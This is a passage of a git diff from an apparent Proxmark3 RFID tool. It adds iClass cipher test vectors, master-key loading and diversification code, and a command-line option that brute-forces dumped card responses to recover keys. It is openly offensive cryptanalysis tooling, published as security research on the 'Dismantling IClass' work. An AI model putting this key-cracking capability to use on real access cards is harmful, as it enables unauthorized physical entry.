{{0xB1,0x04,0x57,0x3F,0xA7,0x16,0x62,0xD4},{0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x03,0x01,0x05,0x07}}, ++ {{0x45,0x46,0xED,0xCC,0xE7,0xD3,0x8E,0xA3},{0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x05,0x03,0x01,0x07}}, ++ {{0x22,0x6D,0xB5,0x35,0xE0,0x5A,0xE0,0x90},{0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x09,0x03,0x05,0x07}}, ++ {{0xB8,0xF5,0xE5,0x44,0xC5,0x98,0x4A,0xBD},{0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x11,0x03,0x05,0x07}}, ++ {{0xAC,0x78,0x0A,0x23,0x9E,0xF6,0xBC,0xA0},{0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x21,0x03,0x05,0x07}}, ++ {{0x46,0x6B,0x2D,0x70,0x41,0x17,0xBF,0x3D},{0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x41,0x03,0x05,0x07}}, ++ {{0x64,0x44,0x24,0x71,0xA2,0x56,0xDF,0xB5},{0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x05,0x03,0x07}}, ++ {{0xC4,0x00,0x52,0x24,0xA2,0xD6,0x16,0x7A},{0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x07,0x05,0x03}}, ++ {{0xD8,0x4A,0x80,0x1E,0x95,0x5B,0x70,0xC4},{0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x0B,0x05,0x07}}, ++ {{0x08,0x56,0x6E,0xB5,0x64,0xD6,0x47,0x4E},{0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x13,0x05,0x07}}, ++ {{0x41,0x6F,0xBA,0xA4,0xEB,0xAE,0xA0,0x55},{0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x23,0x05,0x07}}, ++ {{0x62,0x9D,0xDE,0x72,0x84,0x4A,0x53,0xD5},{0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x43,0x05,0x07}}, ++ {{0x39,0xD3,0x2B,0x66,0xB8,0x08,0x40,0x2E},{0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x07,0x05}}, ++ {{0xAF,0x67,0xA9,0x18,0x57,0x21,0xAF,0x8D},{0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x09,0x07}}, ++ {{0x34,0xBC,0x9D,0xBC,0xC4,0xC2,0x3B,0xC8},{0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x0D,0x07}}, ++ {{0xB6,0x50,0xF9,0x81,0xF6,0xBF,0x90,0x3C},{0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x15,0x07}}, ++ {{0x71,0x41,0x93,0xA1,0x59,0x81,0xA5,0x52},{0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x25,0x07}}, ++ {{0x6B,0x00,0xBD,0x74,0x1C,0x3C,0xE0,0x1A},{0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x45,0x07}}, ++ {{0x76,0xFD,0x0B,0xD0,0x41,0xD2,0x82,0x5D},{0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x09}}, ++ {{0xC6,0x3A,0x1C,0x25,0x63,0x5A,0x2F,0x0E},{0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0B}}, ++ {{0xD9,0x0E,0xD7,0x30,0xE2,0xAD,0xA9,0x87},{0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0F}}, ++ {{0x6B,0x81,0xC6,0xD1,0x05,0x09,0x87,0x1E},{0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x17}}, ++ {{0xB4,0xA7,0x1E,0x02,0x54,0x37,0x43,0x35},{0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x27}}, ++ {{0x45,0x14,0x7C,0x7F,0xE0,0xDE,0x09,0x65},{0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x47}}, ++ {{0x78,0xB0,0xF5,0x20,0x8B,0x7D,0xF3,0xDD},{0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00},{0xFE,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x88,0xB3,0x3C,0xE1,0xF7,0x87,0x42,0xA1},{0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0xFC,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x11,0x2F,0xB2,0xF7,0xE2,0xB2,0x4F,0x6E},{0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0xFA,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x25,0x56,0x4E,0xC6,0xEB,0x2D,0x74,0x5B},{0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0xF8,0x01,0x03,0x05,0x07}}, ++ {{0x7E,0x98,0x37,0xF9,0x80,0x8F,0x09,0x82},{0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0xFF,0x03,0x05,0x07}}, ++ {{0xF9,0xB5,0x62,0x3B,0xD8,0x7B,0x3C,0x3F},{0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0xFD,0x05,0x07}}, ++ {{0x29,0xC5,0x2B,0xFA,0xD1,0xFC,0x5C,0xC7},{0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0xFB,0x07}}, ++ {{0xC1,0xA3,0x09,0x71,0xBD,0x8E,0xAF,0x2F},{0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0xF9}}, ++ {{0xB6,0xDD,0xD1,0xAD,0xAA,0x15,0x6F,0x29},{0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x03,0x05,0x02,0x07,0x04,0x06,0x08}}, ++ {{0x65,0x34,0x03,0x19,0x17,0xB3,0xA3,0x96},{0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x08,0x03,0x05,0x07}}, ++ {{0xF9,0x38,0x43,0x56,0x52,0xE5,0xB1,0xA9},{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x08,0x03,0x05,0x07}}, ++ ++ {{0xA4,0xA0,0xAF,0xDA,0x48,0xB0,0xA1,0x10},{0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x03,0x08,0x05,0x07}}, ++ {{0x55,0x15,0x8A,0x0D,0x48,0x29,0x01,0xD8},{0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x03,0x05,0x08,0x07}}, ++ {{0xC4,0x81,0x96,0x7D,0xA3,0xB7,0x73,0x50},{0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x05,0x04,0x06,0x08,0x07}}, ++ {{0x36,0x73,0xDF,0xC1,0x1B,0x98,0xA8,0x1D},{0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x05,0x06,0x08,0x07}}, ++ {{0xCE,0xE0,0xB3,0x1B,0x41,0xEB,0x15,0x12},{0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x06,0x05,0x08,0x07}}, ++ {{0},{0},{0}} ++}; ++ ++ ++int testKeyDiversificationWithMasterkeyTestcases() + { - int i ; - printf("%s :", name); - for(i =0 ; i< len ; i++) ++ ++ int error = 0; ++ int i; ++ ++ uint8_t empty[8]={0}; ++ prnlog("[+} Testing encryption/decryption"); ++ ++ for (i = 0; memcmp(testcases+i,empty,8) ; i++) { ++ error += testDES(testcases[i],ctx_enc, ctx_dec); ++ } ++ if(error) + { - printf("%02x",*(arr+i)); ++ prnlog("[+] %d errors occurred (%d testcases)", error, i); ++ }else ++ { ++ prnlog("[+] Hashing seems to work (%d testcases)", i); + } - printf("\n"); ++ return error; ++} ++ ++ ++void print64bits(char*name, uint64_t val) ++{ ++ printf("%s%08x%08x\n",name,(uint32_t) (val >> 32) ,(uint32_t) (val & 0xFFFFFFFF)); ++} ++ ++uint64_t testCryptedCSN(uint64_t crypted_csn, uint64_t expected) ++{ ++ int retval = 0; ++ uint8_t result[8] = {0}; ++ if(debug_print) prnlog("debug_print %d", debug_print); ++ if(debug_print) print64bits(" {csn} ", crypted_csn ); ++ ++ uint64_t crypted_csn_swapped = swapZvalues(crypted_csn); ++ ++ if(debug_print) print64bits(" {csn-revz} ", crypted_csn_swapped); ++ ++ hash0(crypted_csn, result); ++ uint64_t resultbyte = x_bytes_to_num(result,8 ); ++ if(debug_print) print64bits(" hash0 " , resultbyte ); ++ ++ if(resultbyte != expected ) ++ { ++ ++ if(debug_print) { ++ prnlog("\n[+] FAIL!"); ++ print64bits(" expected " , expected ); ++ } ++ retval = 1; ++ ++ }else ++ { ++ if(debug_print) prnlog(" [OK]"); ++ } ++ return retval; ++} ++ ++int testDES2(uint64_t csn, uint64_t expected) ++{ ++ uint8_t result[8] = {0}; ++ uint8_t input[8] = {0}; ++ ++ print64bits(" csn ", csn); ++ x_num_to_bytes(csn, 8,input); ++ ++ des_crypt_ecb(&ctx_enc,input, result); ++ ++ uint64_t crypt_csn = x_bytes_to_num(result, 8); ++ print64bits(" {csn} ", crypt_csn ); ++ print64bits(" expected ", expected ); ++ ++ if( expected == crypt_csn ) ++ { ++ prnlog("[+] OK"); ++ return 0; ++ }else ++ { ++ return 1; ++ } ++} ++ ++/** ++ * These testcases come from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977 ++ * @brief doTestsWithKnownInputs ++ * @return ++ */ ++int doTestsWithKnownInputs() ++{ ++ ++ // KSel from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977 ++ int errors = 0; ++ prnlog("[+] Testing DES encryption"); ++// uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf}; ++ prnlog("[+] Testing foo"); ++ uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf}; ++ ++ des_setkey_enc( &ctx_enc, key); ++ testDES2(0xbbbbaaaabbbbeeee,0xd6ad3ca619659e6b); ++ ++ prnlog("[+] Testing hashing algorithm"); ++ ++ errors += testCryptedCSN(0x0102030405060708,0x0bdd6512073c460a); ++ errors += testCryptedCSN(0x1020304050607080,0x0208211405f3381f); ++ errors += testCryptedCSN(0x1122334455667788,0x2bee256d40ac1f3a); ++ errors += testCryptedCSN(0xabcdabcdabcdabcd,0xa91c9ec66f7da592); ++ errors += testCryptedCSN(0xbcdabcdabcdabcda,0x79ca5796a474e19b); ++ errors += testCryptedCSN(0xcdabcdabcdabcdab,0xa8901b9f7ec76da4); ++ errors += testCryptedCSN(0xdabcdabcdabcdabc,0x357aa8e0979a5b8d); ++ errors += testCryptedCSN(0x21ba6565071f9299,0x34e80f88d5cf39ea); ++ errors += testCryptedCSN(0x14e2adfc5bb7e134,0x6ac90c6508bd9ea3); ++ ++ if(errors) ++ { ++ prnlog("[+] %d errors occurred (9 testcases)", errors); ++ }else ++ { ++ prnlog("[+] Hashing seems to work (9 testcases)" ); ++ } ++ return errors; ++} ++ ++int readKeyFile(uint8_t key[8]) ++{ ++ ++ FILE *f; ++ ++ f = fopen("iclass_key.bin", "rb"); ++ if (f) ++ { ++ if(fread(key, sizeof(key), 1, f) == 1) return 0; ++ } ++ return 1; ++ ++} ++ ++ ++int doKeyTests(uint8_t debuglevel) ++{ ++ debug_print = debuglevel; ++ ++ prnlog("[+] Checking if the master key is present (iclass_key.bin)..."); ++ uint8_t key[8] = {0}; ++ if(readKeyFile(key)) ++ { ++ prnlog("[+] Master key not present, will not be able to do all testcases"); ++ }else ++ { ++ ++ //Test if it's the right key... ++ uint8_t i; ++ uint8_t j = 0; ++ for(i =0 ; i < sizeof(key) ; i++) ++ j += key[i]; ++ ++ if(j != 185) ++ { ++ prnlog("[+] A key was loaded, but it does not seem to be the correct one. Aborting these tests"); ++ }else ++ { ++ prnlog("[+] Key present"); ++ ++ prnlog("[+] Checking key parity..."); ++ des_checkParity(key); ++ des_setkey_enc( &ctx_enc, key); ++ des_setkey_dec( &ctx_dec, key); ++ // Test hashing functions ++ prnlog("[+] The following tests require the correct 8-byte master key"); ++ testKeyDiversificationWithMasterkeyTestcases(); ++ } ++ } ++ prnlog("[+] Testing key diversification with non-sensitive keys..."); ++ doTestsWithKnownInputs(); ++ return 0; + } ++ ++/** ++ ++void checkParity2(uint8_t* key) ++{ ++ ++ uint8_t stored_parity = key[7]; ++ printf("Parity byte: 0x%02x\n", stored_parity); ++ int i; ++ int byte; ++ int fails =0; ++ BitstreamIn bits = {key, 56, 0}; ++ ++ bool parity = 0; ++ ++ for(i =0 ; i < 56; i++) ++ { ++ ++ if ( i > 0 && i % 7 == 0) ++ { ++ parity = !parity; ++ bool pbit = stored_parity & (0x80 >> (byte)); ++ if(parity != pbit) ++ { ++ printf("parity2 fail byte %d, should be %d, was %d\n", (i / 7), parity, pbit); ++ fails++; ++ } ++ parity =0 ; ++ byte = i / 7; ++ } ++ parity = parity ^ headBit(&bits); ++ } ++ if(fails) ++ { ++ printf("parity2 fails: %d\n", fails); ++ }else ++ { ++ printf("Key syntax is with parity bits grouped in the last byte!\n"); ++ } ++} ++void modifyKey_put_parity_last(uint8_t * key, uint8_t* output) ++{ ++ uint8_t paritybits = 0; ++ bool parity =0; ++ BitstreamOut out = { output, 0,0}; ++ unsigned int bbyte, bbit; ++ for(bbyte=0; bbyte <8 ; bbyte++ ) ++ { ++ for(bbit =0 ; bbit< 7 ; bbit++) ++ { ++ bool bit = *(key+bbyte) & (1 << (7-bbit)); ++ pushBit(&out,bit); ++ parity ^= bit; ++ } ++ bool paritybit = *(key+bbyte) & 1; ++ paritybits |= paritybit << (7-bbyte); ++ parity = 0; ++ ++ } ++ output[7] = paritybits; ++ printf("Parity byte: %02x\n", paritybits); ++} ++ ++ * @brief Modifies a key with parity bits last, so that it is formed with parity ++ * bits inside each byte ++ * @param key ++ * @param output ++ ++void modifyKey_put_parity_allover(uint8_t * key, uint8_t* output) ++{ ++ bool parity =0; ++ BitstreamOut out = { output, 0,0}; ++ BitstreamIn in = {key, 0,0}; ++ unsigned int bbyte, bbit; ++ for(bbit =0 ; bbit < 56 ; bbit++) ++ { ++ ++ if( bbit > 0 && bbit % 7 == 0) ++ { ++ pushBit(&out,!parity); ++ parity = 0; ++ } ++ bool bit = headBit(&in); ++ pushBit(&out,bit ); ++ parity ^= bit; ++ ++ } ++ pushBit(&out, !parity); ++ ++ ++ if( des_key_check_key_parity(output)) ++ { ++ printf("modifyKey_put_parity_allover fail, DES key invalid parity!"); ++ } ++ ++} ++ ++*/ ++ ++ diff --cc client/loclass/ikeys.h index 00000000,0b943d6b..1de46b62 mode 000000,100644..100644 --- a/client/loclass/ikeys.h +++ b/client/loclass/ikeys.h @@@ -1,0 -1,8 +1,32 @@@ + #ifndef IKEYS_H + #define IKEYS_H -int testKeyDiversification(); -int doKeyTests(); -void hash0(uint64_t c, uint8_t *k); -void pushbackSixBitByte(uint64_t *c, uint8_t z, int n); -uint8_t getSixBitByte(uint64_t c, int n); ++ ++ ++/** ++ * @brief ++ *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as ++ * hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where ++ * z'[i] = (z[i] mod (63-i)) + i i = 0...3 ++ * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 ++ * ẑ = check(z'); ++ * @param c ++ * @param k this is where the diversified key is put (should be 8 bytes) ++ * @return ++ */ ++void hash0(uint64_t c, uint8_t k[8]); ++int doKeyTests(uint8_t debuglevel); ++/** ++ * @brief Performs Elite-class key diversification ++ * @param csn ++ * @param key ++ * @param div_key ++ */ ++ ++void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8]); ++/** ++ * @brief Permutes a key from standard NIST format to Iclass specific format ++ * @param key ++ * @param dest ++ */ ++ + #endif // IKEYS_H diff --cc client/loclass/main.c index 00000000,00000000..42019072 new file mode 100644 --- /dev/null +++ b/client/loclass/main.c @@@ -1,0 -1,0 +1,96 @@@ ++/***************************************************************************** ++ * This file is part of iClassCipher. It is a reconstructon of the cipher engine ++ * used in iClass, and RFID techology. ++ * ++ * The implementation is based on the work performed by ++ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and ++ * Milosch Meriac in the paper "Dismantling IClass". ++ * ++ * Copyright (C) 2014 Martin Holst Swende ++ * ++ * This is free software: you can redistribute it and/or modify ++ * it under the terms of the GNU General Public License version 2 as published ++ * by the Free Software Foundation. ++ * ++ * This file is distributed in the hope that it will be useful, ++ * but WITHOUT ANY WARRANTY; without even the implied warranty of ++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ * GNU General Public License for more details. ++ * ++ * You should have received a copy of the GNU General Public License ++ * along with IClassCipher. If not, see . ++ ****************************************************************************/ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include "cipherutils.h" ++#include "cipher.h" ++#include "ikeys.h" ++#include "fileutils.h" ++#include "elite_crack.h" ++ ++int unitTests() ++{ ++ int errors = testCipherUtils(); ++ errors += testMAC(); ++ errors += doKeyTests(0); ++ errors += testElite(); ++ return errors; ++} ++int showHelp() ++{ ++ prnlog("Usage: iclazz [options]"); ++ prnlog("Options:"); ++ prnlog("-t Perform self-test"); ++ prnlog("-h Show this help"); ++ prnlog("-f Bruteforce iclass dumpfile"); ++ prnlog(" An iclass dumpfile is assumed to consist of an arbitrary number of malicious CSNs, and their protocol responses"); ++ prnlog(" The the binary format of the file is expected to be as follows: "); ++ prnlog(" <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>"); ++ prnlog(" <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>"); ++ prnlog(" <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>"); ++ prnlog(" ... totalling N*24 bytes"); ++ prnlog(" Check iclass_dump.bin for an example"); ++ ++ return 0; ++} ++ ++int main (int argc, char **argv) ++{ ++ prnlog("IClass Cipher version 1.2, Copyright (C) 2014 Martin Holst Swende\n"); ++ prnlog("Comes with ABSOLUTELY NO WARRANTY"); ++ prnlog("This is free software, and you are welcome to use, abuse and repackage, please keep the credits\n"); ++ char *fileName = NULL; ++ int c; ++ while ((c = getopt (argc, argv, "thf:")) != -1) ++ switch (c) ++ { ++ case 't': ++ return unitTests(); ++ case 'h': ++ return showHelp(); ++ case 'f': ++ fileName = optarg; ++ return bruteforceFileNoKeys(fileName); ++ case '?': ++ if (optopt == 'f') ++ fprintf (stderr, "Option -%c requires an argument.\n", optopt); ++ else if (isprint (optopt)) ++ fprintf (stderr, "Unknown option `-%c'.\n", optopt); ++ else ++ fprintf (stderr, ++ "Unknown option character `\\x%x'.\n", ++ optopt); ++ return 1; ++ //default: ++ //showHelp(); ++ } ++ showHelp(); ++ return 0; ++} ++ diff --cc client/obj/loclass/.dummy index 00000000,00000000..e69de29b new file mode 100644 --- /dev/null +++ b/client/obj/loclass/.dummy